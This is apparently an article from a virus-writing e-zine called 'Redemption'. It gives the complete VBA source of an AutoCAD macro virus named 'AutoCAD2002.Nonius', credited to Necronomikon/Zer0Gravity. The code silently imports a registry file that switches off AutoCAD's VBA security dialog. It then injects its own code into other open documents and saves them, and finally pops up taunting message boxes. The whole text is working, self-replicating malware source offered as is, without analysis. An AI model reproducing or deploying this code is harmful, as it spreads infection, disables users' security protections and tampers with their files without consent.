Redemption
Last article Table of contents Next article

Strange Article - Auto CAD2002.Nonius by Necronomikon

Attribute VB_Name = "Nonius"
Private Sub AcadDocument_Deactivate()
Set VBEModel = VBE
On Error GoTo startgame
'AutoCAD 2002.Nonius
'(c)by Necronomikon/Zer0Gravity
t1 = Application.Preferences.Profiles.ActiveProfile
If a1 = "" Then
Open "c:\nec.reg" For Output As 1
'taken from Acad tuts by Antistate
Print #1, "REGEDIT4"
Print #1, "[HKEY_CURRENT_USER\Software\Autodesk\AutoCAD\R15.0\ACAD-1:409\Profiles" & t1 & "\acadvba]"
Print #1, """AutoEmbedding""=dword:00000001"
Print #1, """AllowBreakOnErrors""=dword:00000000"
Print #1, """ShowSecurityDlg""=dword:00000000"
Print #1, "[HKEY_LOCAL_MACHINE\Software\Autodesk\AutoCAD\R15.0\ACAD-1:409\Profiles" & t1 & "\acadvba]"
Print #1, """AutoEmbedding""=dword:00000001"
Print #1, """AllowBreakOnErrors""=dword:00000000"
Print #1, """ShowSecurityDlg""=dword:00000000"
Close #1
Reset
Shell "regedit /s c:\nec.reg", vbHide
startgame:
On Error Resume Next
For X = 1 To Documents.Count
Set necro = VBEModel.Codepanes(X).Codemodule
If necro.Lines(2, 1) = "Set VBEModel = VBE" And Instnonius = 0 Then
nonius = necro.Lines(1, necro.CountOfLines)
Instnonius = 1
X = 0
End If
If necro.Lines(2, 1) <> "Set VBEModel = VBE" And Instnonius = 1 Then
VBEModel.Codepanes(X).Codemodule.InsertLines 1, nonius
ThisDocument.Save
End If
Next X
Kill "c:\nec.reg"
MsgBox "Could you do this job for me?" & vbCr & "I am to stupid to draw any nice Pics!?;op", vbQuestion, "AutoCAD2002.Nonius"
MsgBox "(c) by Necronomikon/ ZeroGravity", vbInformation, "AutoCAD2002.Nonius"
End Sub